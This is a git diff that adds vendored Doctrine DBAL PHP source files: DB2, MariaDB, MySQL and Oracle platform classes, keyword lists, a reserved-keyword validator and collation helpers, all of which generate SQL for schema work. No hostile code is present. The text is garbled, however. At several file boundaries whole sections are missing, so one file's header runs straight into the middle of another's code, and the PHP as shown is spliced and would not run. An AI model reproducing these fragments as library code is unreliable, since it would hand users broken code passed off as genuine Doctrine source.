self::SYSCAT_REFERENCES_DELETERULE_SET_NULL . "' THEN 'SET NULL' + WHEN fk.DELETERULE = '" . self::SYSCAT_REFERENCES_DELETERULE_RESTRICT . "' THEN 'RESTRICT' + ELSE NULL + END AS on_delete + FROM SYSCAT.REFERENCES AS fk + JOIN SYSCAT.KEYCOLUSE AS fkcol + ON fk.CONSTNAME = fkcol.CONSTNAME + AND fk.TABSCHEMA = fkcol.TABSCHEMA + AND fk.TABNAME = fkcol.TABNAME + JOIN SYSCAT.KEYCOLUSE AS pkcol + ON fk.REFKEYNAME = pkcol.CONSTNAME + AND fk.REFTABSCHEMA = pkcol.TABSCHEMA + AND fk.REFTABNAME = pkcol.TABNAME + WHERE fk.TABNAME = UPPER(" . $table . ') + ORDER BY fkcol.COLSEQ ASC'; + } + + /** + * {@inheritDoc} + * + * @deprecated + */ + public function supportsCreateDropDatabase() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5513', + '%s() is deprecated.', + __METHOD__, + ); + + return false; + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the {@see AbstractPlatform} class hierarchy. + */ + public function supportsCommentOnStatement() + { + return true; + } + + /** + * {@inheritDoc} + */ + public function getCurrentDateSQL() + { + return 'CURRENT DATE'; + } + + /** + * {@inheritDoc} + */ + public function getCurrentTimeSQL() + { + return 'CURRENT TIME'; + } + + /** + * {@inheritDoc} + */ + public function getCurrentTimestampSQL() + { + return 'CURRENT TIMESTAMP'; + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the {@see AbstractPlatform} class hierarchy. + */ + public function getIndexDeclarationSQL($name, Index $index) + { + // Index declaration in statements like CREATE TABLE is not supported. + throw Exception::notSupported(__METHOD__); + } + + /** + * {@inheritDoc} + */ + protected function _getCreateTableSQL($name, array $columns, array $options = []) + { + $indexes = []; + if (isset($options['indexes'])) { + $indexes = $options['indexes']; + } + + $options['indexes'] = []; + + $sqls = parent::_getCreateTableSQL($name, $columns, $options); + + foreach ($indexes as $definition) { + $sqls[] = $this->getCreateIndexSQL($definition, $name); + } + + return $sqls; + } + + /** + * {@inheritDoc} + */ + public function getAlterTableSQL(TableDiff $diff) + { + $sql = []; + $columnSql = []; + $commentsSQL = []; + + $tableNameSQL = ($diff->getOldTable() ?? $diff->getName($this))->getQuotedName($this); + + $queryParts = []; + foreach ($diff->getAddedColumns() as $column) { + if ($this->onSchemaAlterTableAddColumn($column, $diff, $columnSql)) { + continue; + } + + $columnDef = $column->toArray(); + $queryPart = 'ADD COLUMN ' . $this->getColumnDeclarationSQL($column->getQuotedName($this), $columnDef); + + // Adding non-nullable columns to a table requires a default value to be specified. + if ( + ! empty($columnDef['notnull']) && + ! isset($columnDef['default']) && + empty($columnDef['autoincrement']) + ) { + $queryPart .= ' WITH DEFAULT'; + } + + $queryParts[] = $queryPart; + + $comment = $this->getColumnComment($column); + + if ($comment === null || $comment === '') { + continue; + } + + $commentsSQL[] = $this->getCommentOnColumnSQL( + $tableNameSQL, + $column->getQuotedName($this), + $comment, + ); + } + + foreach ($diff->getDroppedColumns() as $column) { + if ($this->onSchemaAlterTableRemoveColumn($column, $diff, $columnSql)) { + continue; + } + + $queryParts[] = 'DROP COLUMN ' . $column->getQuotedName($this); + } + + foreach ($diff->getModifiedColumns() as $columnDiff) { + if ($this->onSchemaAlterTableChangeColumn($columnDiff, $diff, $columnSql)) { + continue; + } + + if ($columnDiff->hasCommentChanged()) { + $commentsSQL[] = $this->getCommentOnColumnSQL( + $tableNameSQL, + $columnDiff->getNewColumn()->getQuotedName($this), + $this->getColumnComment($columnDiff->getNewColumn()), + ); + } + + $this->gatherAlterColumnSQL( + $tableNameSQL, + $columnDiff, + $sql, + $queryParts, + ); + } + + foreach ($diff->getRenamedColumns() as $oldColumnName => $column) { + if ($this->onSchemaAlterTableRenameColumn($oldColumnName, $column, $diff, $columnSql)) { + continue; + } + + $oldColumnName = new Identifier($oldColumnName); + + $queryParts[] = 'RENAME COLUMN ' . $oldColumnName->getQuotedName($this) . + ' TO ' . $column->getQuotedName($this); + } + + $tableSql = []; + + if (! $this->onSchemaAlterTable($diff, $tableSql)) { + if (count($queryParts) > 0) { + $sql[] = 'ALTER TABLE ' . $tableNameSQL . ' ' . implode(' ', $queryParts); + } + + // Some table alteration operations require a table reorganization. + if (count($diff->getDroppedColumns()) > 0 || count($diff->getModifiedColumns()) > 0) { + $sql[] = "CALL SYSPROC.ADMIN_CMD ('REORG TABLE " . $tableNameSQL . "')"; + } + + $sql = array_merge($sql, $commentsSQL); + + $newName = $diff->getNewName(); + + if ($newName !== false) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5663', + 'Generation of "rename table" SQL using %s() is deprecated. Use getRenameTableSQL() instead.', + __METHOD__, + ); + + $sql[] = sprintf( + 'RENAME TABLE %s TO %s', + $tableNameSQL, + $newName->getQuotedName($this), + ); + } + + $sql = array_merge( + $this->getPreAlterTableIndexForeignKeySQL($diff), + $sql, + $this->getPostAlterTableIndexForeignKeySQL($diff), + ); + } + + return array_merge($sql, $tableSql, $columnSql); + } + + /** + * {@inheritDoc} + */ + public function getRenameTableSQL(string $oldName, string $newName): array + { + return [ + sprintf('RENAME TABLE %s TO %s', $oldName, $newName), + ]; + } + + /** + * Gathers the table alteration SQL for a given column diff. + * + * @param string $table The table to gather the SQL for. + * @param ColumnDiff $columnDiff The column diff to evaluate. + * @param string[] $sql The sequence of table alteration statements to fill. + * @param mixed[] $queryParts The sequence of column alteration clauses to fill. + */ + private function gatherAlterColumnSQL( + string $table, + ColumnDiff $columnDiff, + array &$sql, + array &$queryParts + ): void { + $alterColumnClauses = $this->getAlterColumnClausesSQL($columnDiff); + + if (empty($alterColumnClauses)) { + return; + } + + // If we have a single column alteration, we can append the clause to the main query. + if (count($alterColumnClauses) === 1) { + $queryParts[] = current($alterColumnClauses); + + return; + } + + // We have multiple alterations for the same column, + // so we need to trigger a complete ALTER TABLE statement + // for each ALTER COLUMN clause. + foreach ($alterColumnClauses as $alterColumnClause) { + $sql[] = 'ALTER TABLE ' . $table . ' ' . $alterColumnClause; + } + } + + /** + * Returns the ALTER COLUMN SQL clauses for altering a column described by the given column diff. + * + * @return string[] + */ + private function getAlterColumnClausesSQL(ColumnDiff $columnDiff): array + { + $newColumn = $columnDiff->getNewColumn()->toArray(); + + $alterClause = 'ALTER COLUMN ' . $columnDiff->getNewColumn()->getQuotedName($this); + + if ($newColumn['columnDefinition'] !== null) { + return [$alterClause . ' ' . $newColumn['columnDefinition']]; + } + + $clauses = []; + + if ( + $columnDiff->hasTypeChanged() || + $columnDiff->hasLengthChanged() || + $columnDiff->hasPrecisionChanged() || + $columnDiff->hasScaleChanged() || + $columnDiff->hasFixedChanged() + ) { + $clauses[] = $alterClause . ' SET DATA TYPE ' . $newColumn['type']->getSQLDeclaration($newColumn, $this); + } + + if ($columnDiff->hasNotNullChanged()) { + $clauses[] = $newColumn['notnull'] ? $alterClause . ' SET NOT NULL' : $alterClause . ' DROP NOT NULL'; + } + + if ($columnDiff->hasDefaultChanged()) { + if (isset($newColumn['default'])) { + $defaultClause = $this->getDefaultValueDeclarationSQL($newColumn); + + if ($defaultClause !== '') { + $clauses[] = $alterClause . ' SET' . $defaultClause; + } + } else { + $clauses[] = $alterClause . ' DROP DEFAULT'; + } + } + + return $clauses; + } + + /** + * {@inheritDoc} + */ + protected function getPreAlterTableIndexForeignKeySQL(TableDiff $diff) + { + $sql = []; + + $tableNameSQL = ($diff->getOldTable() ?? $diff->getName($this))->getQuotedName($this); + + foreach ($diff->getDroppedIndexes() as $droppedIndex) { + foreach ($diff->getAddedIndexes() as $addedIndex) { + if ($droppedIndex->getColumns() !== $addedIndex->getColumns()) { + continue; + } + + if ($droppedIndex->isPrimary()) { + $sql[] = 'ALTER TABLE ' . $tableNameSQL . ' DROP PRIMARY KEY'; + } elseif ($droppedIndex->isUnique()) { + $sql[] = 'ALTER TABLE ' . $tableNameSQL . ' DROP UNIQUE ' . $droppedIndex->getQuotedName($this); + } else { + $sql[] = $this->getDropIndexSQL($droppedIndex, $tableNameSQL); + } + + $sql[] = $this->getCreateIndexSQL($addedIndex, $tableNameSQL); + + $diff->unsetAddedIndex($addedIndex); + $diff->unsetDroppedIndex($droppedIndex); + + break; + } + } + + return array_merge($sql, parent::getPreAlterTableIndexForeignKeySQL($diff)); + } + + /** + * {@inheritDoc} + */ + protected function getRenameIndexSQL($oldIndexName, Index $index, $tableName) + { + if (strpos($tableName, '.') !== false) { + [$schema] = explode('.', $tableName); + $oldIndexName = $schema . '.' . $oldIndexName; + } + + return ['RENAME INDEX ' . $oldIndexName . ' TO ' . $index->getQuotedName($this)]; + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the {@see AbstractPlatform} class hierarchy. + */ + public function getDefaultValueDeclarationSQL($column) + { + if (! empty($column['autoincrement'])) { + return ''; + } + + if (! empty($column['version'])) { + if ((string) $column['type'] !== 'DateTime') { + $column['default'] = '1'; + } + } + + return parent::getDefaultValueDeclarationSQL($column); + } + + /** + * {@inheritDoc} + */ + public function getEmptyIdentityInsertSQL($quotedTableName, $quotedIdentifierColumnName) + { + return 'INSERT INTO ' . $quotedTableName . ' (' . $quotedIdentifierColumnName . ') VALUES (DEFAULT)'; + } + + /** + * {@inheritDoc} + */ + public function getCreateTemporaryTableSnippetSQL() + { + return 'DECLARE GLOBAL TEMPORARY TABLE'; + } + + /** + * {@inheritDoc} + */ + public function getTemporaryTableName($tableName) + { + return 'SESSION.' . $tableName; + } + + /** + * {@inheritDoc} + */ + protected function doModifyLimitQuery($query, $limit, $offset) + { + $where = []; + + if ($offset > 0) { + $where[] = sprintf('db22.DC_ROWNUM >= %d', $offset + 1); + } + + if ($limit !== null) { + $where[] = sprintf('db22.DC_ROWNUM <= %d', $offset + $limit); + } + + if (empty($where)) { + return $query; + } + + // Todo OVER() needs ORDER BY data! + return sprintf( + 'SELECT db22.* FROM (SELECT db21.*, ROW_NUMBER() OVER() AS DC_ROWNUM FROM (%s) db21) db22 WHERE %s', + $query, + implode(' AND ', $where), + ); + } + + /** + * {@inheritDoc} + */ + public function getLocateExpression($str, $substr, $startPos = false) + { + if ($startPos === false) { + return 'LOCATE(' . $substr . ', ' . $str . ')'; + } + + return 'LOCATE(' . $substr . ', ' . $str . ', ' . $startPos . ')'; + } + + /** + * {@inheritDoc} + */ + public function getSubstringExpression($string, $start, $length = null) + { + if ($length === null) { + return 'SUBSTR(' . $string . ', ' . $start . ')'; + } + + return 'SUBSTR(' . $string . ', ' . $start . ', ' . $length . ')'; + } + + /** + * {@inheritDoc} + */ + public function getLengthExpression($column) + { + return 'LENGTH(' . $column . ', CODEUNITS32)'; + } + + public function getCurrentDatabaseExpression(): string + { + return 'CURRENT_USER'; + } + + /** + * {@inheritDoc} + */ + public function supportsIdentityColumns() + { + return true; + } + + /** + * {@inheritDoc} + * + * @deprecated + */ + public function prefersIdentityColumns() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/1519', + '%s() is deprecated.', + __METHOD__, + ); + + return true; + } + + /** + * {@inheritDoc} + */ + public function getForUpdateSQL() + { + return ' WITH RR USE AND KEEP UPDATE LOCKS'; + } + + /** + * {@inheritDoc} + */ + public function getDummySelectSQL() + { + $expression = func_num_args() > 0 ? func_get_arg(0) : '1'; + + return sprintf('SELECT %s FROM sysibm.sysdummy1', $expression); + } + + /** + * {@inheritDoc} + * + * DB2 supports savepoints, but they work semantically different than on other vendor platforms. + * + * TODO: We have to investigate how to get DB2 up and running with savepoints. + */ + public function supportsSavepoints() + { + return false; + } + + /** + * {@inheritDoc} + * + * @deprecated Implement {@see createReservedKeywordsList()} instead. + */ + protected function getReservedKeywordsClass() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4510', + '%s() is deprecated,' + . ' use %s::createReservedKeywordsList() instead.', + __METHOD__, + static::class, + ); + + return Keywords\DB2Keywords::class; + } + + /** @deprecated The SQL used for schema introspection is an implementation detail and should not be relied upon. */ + public function getListTableCommentsSQL(string $table): string + { + return sprintf( + <<<'SQL' +SELECT REMARKS + FROM SYSIBM.SYSTABLES + WHERE NAME = UPPER( %s ) +SQL + , + $this->quoteStringLiteral($table), + ); + } + + public function createSchemaManager(Connection $connection): DB2SchemaManager + { + return new DB2SchemaManager($connection, $this); + } +} diff --git a/vendor/doctrine/dbal/src/Platforms/DateIntervalUnit.php b/vendor/doctrine/dbal/src/Platforms/DateIntervalUnit.php new file mode 100644 index 000000000..a95c4e28b --- /dev/null +++ b/vendor/doctrine/dbal/src/Platforms/DateIntervalUnit.php @@ -0,0 +1,29 @@ +keywords === null) { + $this->initializeKeywords(); + } + + return isset($this->keywords[strtoupper($word)]); + } + + /** @return void */ + protected function initializeKeywords() + { + $this->keywords = array_flip(array_map('strtoupper', $this->getKeywords())); + } + + /** + * Returns the list of keywords. + * + * @return string[] + */ + abstract protected function getKeywords(); + + /** + * Returns the name of this keyword list. + * + * @deprecated + * + * @return string + */ + abstract public function getName(); +} diff --git a/vendor/doctrine/dbal/src/Platforms/Keywords/MariaDBKeywords.php b/vendor/doctrine/dbal/src/Platforms/Keywords/MariaDBKeywords.php new file mode 100644 index 000000000..5417c6caa --- /dev/null +++ b/vendor/doctrine/dbal/src/Platforms/Keywords/MariaDBKeywords.php @@ -0,0 +1,276 @@ +keywordLists = $keywordLists; + } + + /** @return string[] */ + public function getViolations() + { + return $this->violations; + } + + /** + * @param string $word + * + * @return string[] + */ + private function isReservedWord($word): array + { + if ($word[0] === '`') { + $word = str_replace('`', '', $word); + } + + $keywordLists = []; + foreach ($this->keywordLists as $keywordList) { + if (! $keywordList->isKeyword($word)) { + continue; + } + + $keywordLists[] = $keywordList->getName(); + } + + return $keywordLists; + } + + /** + * @param string $asset + * @param string[] $violatedPlatforms + */ + private function addViolation($asset, $violatedPlatforms): void + { + if (count($violatedPlatforms) === 0) { + return; + } + + $this->violations[] = $asset . ' keyword violations: ' . implode(', ', $violatedPlatforms); + } + + /** + * {@inheritDoc} + */ + public function acceptColumn(Table $table, Column $column) + { + $this->addViolation( + 'Table ' . $table->getName() . ' column ' . $column->getName(), + $this->isReservedWord($column->getName()), + ); + } + + /** + * {@inheritDoc} + */ + public function acceptForeignKey(Table $localTable, ForeignKeyConstraint $fkConstraint) + { + } + + /** + * {@inheritDoc} + */ + public function acceptIndex(Table $table, Index $index) + { + } + + /** + * {@inheritDoc} + */ + public function acceptSchema(Schema $schema) + { + } + + /** + * {@inheritDoc} + */ + public function acceptSequence(Sequence $sequence) + { + } + + /** + * {@inheritDoc} + */ + public function acceptTable(Table $table) + { + $this->addViolation( + 'Table ' . $table->getName(), + $this->isReservedWord($table->getName()), + ); + } +} diff --git a/vendor/doctrine/dbal/src/Platforms/Keywords/SQLServer2012Keywords.php b/vendor/doctrine/dbal/src/Platforms/Keywords/SQLServer2012Keywords.php new file mode 100644 index 000000000..ebc45c402 --- /dev/null +++ b/vendor/doctrine/dbal/src/Platforms/Keywords/SQLServer2012Keywords.php @@ -0,0 +1,12 @@ +doctrineTypeMapping['json'] = Types::JSON; + } +} diff --git a/vendor/doctrine/dbal/src/Platforms/MariaDb1027Platform.php b/vendor/doctrine/dbal/src/Platforms/MariaDb1027Platform.php new file mode 100644 index 000000000..68f381332 --- /dev/null +++ b/vendor/doctrine/dbal/src/Platforms/MariaDb1027Platform.php @@ -0,0 +1,15 @@ +getColumnTypeSQLSnippets(); + + return sprintf( + <<getDatabaseNameSQL($database), + $this->quoteStringLiteral($table), + ); + } + + /** + * Generate SQL snippets to reverse the aliasing of JSON to LONGTEXT. + * + * MariaDb aliases columns specified as JSON to LONGTEXT and sets a CHECK constraint to ensure the column + * is valid json. This function generates the SQL snippets which reverse this aliasing i.e. report a column + * as JSON where it was originally specified as such instead of LONGTEXT. + * + * The CHECK constraints are stored in information_schema.CHECK_CONSTRAINTS so JOIN that table. + * + * @return array{string, string} + */ + public function getColumnTypeSQLSnippets(string $tableAlias = 'c'): array + { + if ($this->getJsonTypeDeclarationSQL([]) !== 'JSON') { + return parent::getColumnTypeSQLSnippets($tableAlias); + } + + $columnTypeSQL = <<getJsonTypeDeclarationSQL([]) === 'JSON' && ($column['type'] ?? null) instanceof JsonType) { + unset($column['collation']); + unset($column['charset']); + } + + return parent::getColumnDeclarationSQL($name, $column); + } +} diff --git a/vendor/doctrine/dbal/src/Platforms/MariaDb1052Platform.php b/vendor/doctrine/dbal/src/Platforms/MariaDb1052Platform.php new file mode 100644 index 000000000..4241187fd --- /dev/null +++ b/vendor/doctrine/dbal/src/Platforms/MariaDb1052Platform.php @@ -0,0 +1,38 @@ +getQuotedName($this)]; + } +} diff --git a/vendor/doctrine/dbal/src/Platforms/MySQL/CollationMetadataProvider.php b/vendor/doctrine/dbal/src/Platforms/MySQL/CollationMetadataProvider.php new file mode 100644 index 000000000..d52ca74a2 --- /dev/null +++ b/vendor/doctrine/dbal/src/Platforms/MySQL/CollationMetadataProvider.php @@ -0,0 +1,11 @@ + */ + private $cache = []; + + public function __construct(CollationMetadataProvider $collationMetadataProvider) + { + $this->collationMetadataProvider = $collationMetadataProvider; + } + + public function getCollationCharset(string $collation): ?string + { + if (array_key_exists($collation, $this->cache)) { + return $this->cache[$collation]; + } + + return $this->cache[$collation] = $this->collationMetadataProvider->getCollationCharset($collation); + } +} diff --git a/vendor/doctrine/dbal/src/Platforms/MySQL/CollationMetadataProvider/ConnectionCollationMetadataProvider.php b/vendor/doctrine/dbal/src/Platforms/MySQL/CollationMetadataProvider/ConnectionCollationMetadataProvider.php new file mode 100644 index 000000000..8dc2421a0 --- /dev/null +++ b/vendor/doctrine/dbal/src/Platforms/MySQL/CollationMetadataProvider/ConnectionCollationMetadataProvider.php @@ -0,0 +1,41 @@ +connection = $connection; + } + + /** @throws Exception */ + public function getCollationCharset(string $collation): ?string + { + $charset = $this->connection->fetchOne( + <<<'SQL' +SELECT CHARACTER_SET_NAME +FROM information_schema.COLLATIONS +WHERE COLLATION_NAME = ?; +SQL + , + [$collation], + ); + + if ($charset !== false) { + return $charset; + } + + return null; + } +} diff --git a/vendor/doctrine/dbal/src/Platforms/MySQL/Comparator.php b/vendor/doctrine/dbal/src/Platforms/MySQL/Comparator.php new file mode 100644 index 000000000..c27fef744 --- /dev/null +++ b/vendor/doctrine/dbal/src/Platforms/MySQL/Comparator.php @@ -0,0 +1,94 @@ +collationMetadataProvider = $collationMetadataProvider; + } + + public function compareTables(Table $fromTable, Table $toTable): TableDiff + { + return parent::compareTables( + $this->normalizeColumns($fromTable), + $this->normalizeColumns($toTable), + ); + } + + /** + * {@inheritDoc} + */ + public function diffTable(Table $fromTable, Table $toTable) + { + return parent::diffTable( + $this->normalizeColumns($fromTable), + $this->normalizeColumns($toTable), + ); + } + + private function normalizeColumns(Table $table): Table + { + $tableOptions = array_intersect_key($table->getOptions(), [ + 'charset' => null, + 'collation' => null, + ]); + + $table = clone $table; + + foreach ($table->getColumns() as $column) { + $originalOptions = $column->getPlatformOptions(); + $normalizedOptions = $this->normalizeOptions($originalOptions); + + $overrideOptions = array_diff_assoc($normalizedOptions, $tableOptions); + + if ($overrideOptions === $originalOptions) { + continue; + } + + $column->setPlatformOptions($overrideOptions); + } + + return $table; + } + + /** + * @param array $options + * + * @return array + */ + private function normalizeOptions(array $options): array + { + if (isset($options['collation']) && ! isset($options['charset'])) { + $charset = $this->collationMetadataProvider->getCollationCharset($options['collation']); + + if ($charset !== null) { + $options['charset'] = $charset; + } + } + + return $options; + } +} diff --git a/vendor/doctrine/dbal/src/Platforms/MySQL57Platform.php b/vendor/doctrine/dbal/src/Platforms/MySQL57Platform.php new file mode 100644 index 000000000..f3899959d --- /dev/null +++ b/vendor/doctrine/dbal/src/Platforms/MySQL57Platform.php @@ -0,0 +1,99 @@ +getQuotedName($this)]; + } + + /** + * {@inheritDoc} + * + * @deprecated Implement {@see createReservedKeywordsList()} instead. + */ + protected function getReservedKeywordsClass() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4510', + 'MySQL57Platform::getReservedKeywordsClass() is deprecated,' + . ' use MySQL57Platform::createReservedKeywordsList() instead.', + ); + + return Keywords\MySQL57Keywords::class; + } + + /** + * {@inheritDoc} + */ + protected function initializeDoctrineTypeMappings() + { + parent::initializeDoctrineTypeMappings(); + + $this->doctrineTypeMapping['json'] = Types::JSON; + } +} diff --git a/vendor/doctrine/dbal/src/Platforms/MySQL80Platform.php b/vendor/doctrine/dbal/src/Platforms/MySQL80Platform.php new file mode 100644 index 000000000..9ea6ee881 --- /dev/null +++ b/vendor/doctrine/dbal/src/Platforms/MySQL80Platform.php @@ -0,0 +1,28 @@ +getBitAndComparisonExpression($value1, $value2) + . '+' . $value2 . ')'; + } + + /** + * {@inheritDoc} + */ + public function getCreatePrimaryKeySQL(Index $index, $table): string + { + if ($table instanceof Table) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4798', + 'Passing $table as a Table object to %s is deprecated. Pass it as a quoted name instead.', + __METHOD__, + ); + + $table = $table->getQuotedName($this); + } + + return 'ALTER TABLE ' . $table . ' ADD CONSTRAINT ' . $index->getQuotedName($this) + . ' PRIMARY KEY (' . $this->getIndexFieldDeclarationListSQL($index) . ')'; + } + + /** + * {@inheritDoc} + * + * Need to specifiy minvalue, since start with is hidden in the system and MINVALUE <= START WITH. + * Therefore we can use MINVALUE to be able to get a hint what START WITH was for later introspection + * in {@see listSequences()} + */ + public function getCreateSequenceSQL(Sequence $sequence) + { + return 'CREATE SEQUENCE ' . $sequence->getQuotedName($this) . + ' START WITH ' . $sequence->getInitialValue() . + ' MINVALUE ' . $sequence->getInitialValue() . + ' INCREMENT BY ' . $sequence->getAllocationSize() . + $this->getSequenceCacheSQL($sequence); + } + + /** + * {@inheritDoc} + */ + public function getAlterSequenceSQL(Sequence $sequence) + { + return 'ALTER SEQUENCE ' . $sequence->getQuotedName($this) . + ' INCREMENT BY ' . $sequence->getAllocationSize() + . $this->getSequenceCacheSQL($sequence); + } + + /** + * Cache definition for sequences + */ + private function getSequenceCacheSQL(Sequence $sequence): string + { + if ($sequence->getCache() === 0) { + return ' NOCACHE'; + } + + if ($sequence->getCache() === 1) { + return ' NOCACHE'; + } + + if ($sequence->getCache() > 1) { + return ' CACHE ' . $sequence->getCache(); + } + + return ''; + } + + /** + * {@inheritDoc} + */ + public function getSequenceNextValSQL($sequence) + { + return 'SELECT ' . $sequence . '.nextval FROM DUAL'; + } + + /** + * {@inheritDoc} + */ + public function getSetTransactionIsolationSQL($level) + { + return 'SET TRANSACTION ISOLATION LEVEL ' . $this->_getTransactionIsolationLevelSQL($level); + } + + /** + * {@inheritDoc} + */ + protected function _getTransactionIsolationLevelSQL($level) + { + switch ($level) { + case TransactionIsolationLevel::READ_UNCOMMITTED: + return 'READ UNCOMMITTED'; + + case TransactionIsolationLevel::READ_COMMITTED: + return 'READ COMMITTED'; + + case TransactionIsolationLevel::REPEATABLE_READ: + case TransactionIsolationLevel::SERIALIZABLE: + return 'SERIALIZABLE'; + + default: + return parent::_getTransactionIsolationLevelSQL($level); + } + } + + /** + * {@inheritDoc} + */ + public function getBooleanTypeDeclarationSQL(array $column) + { + return 'NUMBER(1)'; + } + + /** + * {@inheritDoc} + */ + public function getIntegerTypeDeclarationSQL(array $column) + { + return 'NUMBER(10)'; + } + + /** + * {@inheritDoc} + */ + public function getBigIntTypeDeclarationSQL(array $column) + { + return 'NUMBER(20)'; + } + + /** + * {@inheritDoc} + */ + public function getSmallIntTypeDeclarationSQL(array $column) + { + return 'NUMBER(5)'; + } + + /** + * {@inheritDoc} + */ + public function getDateTimeTypeDeclarationSQL(array $column) + { + return 'TIMESTAMP(0)'; + } + + /** + * {@inheritDoc} + */ + public function getDateTimeTzTypeDeclarationSQL(array $column) + { + return 'TIMESTAMP(0) WITH TIME ZONE'; + } + + /** + * {@inheritDoc} + */ + public function getDateTypeDeclarationSQL(array $column) + { + return 'DATE'; + } + + /** + * {@inheritDoc} + */ + public function getTimeTypeDeclarationSQL(array $column) + { + return 'DATE'; + } + + /** + * {@inheritDoc} + */ + protected function _getCommonIntegerTypeDeclarationSQL(array $column) + { + return ''; + } + + /** + * {@inheritDoc} + */ + protected function getVarcharTypeDeclarationSQLSnippet($length, $fixed/*, $lengthOmitted = false*/) + { + if ($length <= 0 || (func_num_args() > 2 && func_get_arg(2))) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/3263', + 'Relying on the default string column length on Oracle is deprecated' + . ', specify the length explicitly.', + ); + } + + return $fixed ? ($length > 0 ? 'CHAR(' . $length . ')' : 'CHAR(2000)') + : ($length > 0 ? 'VARCHAR2(' . $length . ')' : 'VARCHAR2(4000)'); + } + + /** + * {@inheritDoc} + */ + protected function getBinaryTypeDeclarationSQLSnippet($length, $fixed/*, $lengthOmitted = false*/) + { + if ($length <= 0 || (func_num_args() > 2 && func_get_arg(2))) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/3263', + 'Relying on the default binary column length on Oracle is deprecated' + . ', specify the length explicitly.', + ); + } + + return 'RAW(' . ($length > 0 ? $length : $this->getBinaryMaxLength()) . ')'; + } + + /** + * {@inheritDoc} + * + * @deprecated + */ + public function getBinaryMaxLength() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/3263', + 'OraclePlatform::getBinaryMaxLength() is deprecated.', + ); + + return 2000; + } + + /** + * {@inheritDoc} + */ + public function getClobTypeDeclarationSQL(array $column) + { + return 'CLOB'; + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the {@see AbstractSchemaManager} class hierarchy. + */ + public function getListDatabasesSQL() + { + return 'SELECT username FROM all_users'; + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the {@see AbstractSchemaManager} class hierarchy. + */ + public function getListSequencesSQL($database) + { + $database = $this->normalizeIdentifier($database); + $database = $this->quoteStringLiteral($database->getName()); + + return 'SELECT sequence_name, min_value, increment_by FROM sys.all_sequences ' . + 'WHERE SEQUENCE_OWNER = ' . $database; + } + + /** + * {@inheritDoc} + */ + protected function _getCreateTableSQL($name, array $columns, array $options = []) + { + $indexes = $options['indexes'] ?? []; + $options['indexes'] = []; + $sql = parent::_getCreateTableSQL($name, $columns, $options); + + foreach ($columns as $columnName => $column) { + if (isset($column['sequence'])) { + $sql[] = $this->getCreateSequenceSQL($column['sequence']); + } + + if ( + ! isset($column['autoincrement']) || ! $column['autoincrement'] && + (! isset($column['autoinc']) || ! $column['autoinc']) + ) { + continue; + } + + $sql = array_merge($sql, $this->getCreateAutoincrementSql($columnName, $name)); + } + + foreach ($indexes as $index) { + $sql[] = $this->getCreateIndexSQL($index, $name); + } + + return $sql; + } + + /** + * @deprecated The SQL used for schema introspection is an implementation detail and should not be relied upon. + * + * {@inheritDoc} + * + * @link http://ezcomponents.org/docs/api/trunk/DatabaseSchema/ezcDbSchemaOracleReader.html + */ + public function getListTableIndexesSQL($table, $database = null) + { + $table = $this->normalizeIdentifier($table); + $table = $this->quoteStringLiteral($table->getName()); + + return "SELECT uind_col.index_name AS name, + ( + SELECT uind.index_type + FROM user_indexes uind + WHERE uind.index_name = uind_col.index_name + ) AS type, + decode( + ( + SELECT uind.uniqueness + FROM user_indexes uind + WHERE uind.index_name = uind_col.index_name + ), + 'NONUNIQUE', + 0, + 'UNIQUE', + 1 + ) AS is_unique, + uind_col.column_name AS column_name, + uind_col.column_position AS column_pos, + ( + SELECT ucon.constraint_type + FROM user_constraints ucon + WHERE ucon.index_name = uind_col.index_name + AND ucon.table_name = uind_col.table_name + ) AS is_primary + FROM user_ind_columns uind_col + WHERE uind_col.table_name = " . $table . ' + ORDER BY uind_col.column_position ASC'; + } + + /** + * @deprecated The SQL used for schema introspection is an implementation detail and should not be relied upon. + * + * {@inheritDoc} + */ + public function getListTablesSQL() + { + return 'SELECT * FROM sys.user_tables'; + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the {@see AbstractSchemaManager} class hierarchy. + */ + public function getListViewsSQL($database) + { + return 'SELECT view_name, text FROM sys.user_views'; + } + + /** + * @internal The method should be only used from within the OraclePlatform class hierarchy. + * + * @param string $name + * @param string $table + * @param int $start + * + * @return string[] + */ + public function getCreateAutoincrementSql($name, $table, $start = 1) + { + $tableIdentifier = $this->normalizeIdentifier($table); + $quotedTableName = $tableIdentifier->getQuotedName($this); + $unquotedTableName = $tableIdentifier->getName(); + + $nameIdentifier = $this->normalizeIdentifier($name); + $quotedName = $nameIdentifier->getQuotedName($this); + $unquotedName = $nameIdentifier->getName(); + + $sql = []; + + $autoincrementIdentifierName = $this->getAutoincrementIdentifierName($tableIdentifier); + + $idx = new Index($autoincrementIdentifierName, [$quotedName], true, true); + + $sql[] = "DECLARE + constraints_Count NUMBER; +BEGIN + SELECT COUNT(CONSTRAINT_NAME) INTO constraints_Count + FROM USER_CONSTRAINTS + WHERE TABLE_NAME = '" . $unquotedTableName . "' + AND CONSTRAINT_TYPE = 'P'; + IF constraints_Count = 0 OR constraints_Count = '' THEN + EXECUTE IMMEDIATE '" . $this->getCreateConstraintSQL($idx, $quotedTableName) . "'; + END IF; +END;"; + + $sequenceName = $this->getIdentitySequenceName( + $tableIdentifier->isQuoted() ? $quotedTableName : $unquotedTableName, + $nameIdentifier->isQuoted() ? $quotedName : $unquotedName, + ); + $sequence = new Sequence($sequenceName, $start); + $sql[] = $this->getCreateSequenceSQL($sequence); + + $sql[] = 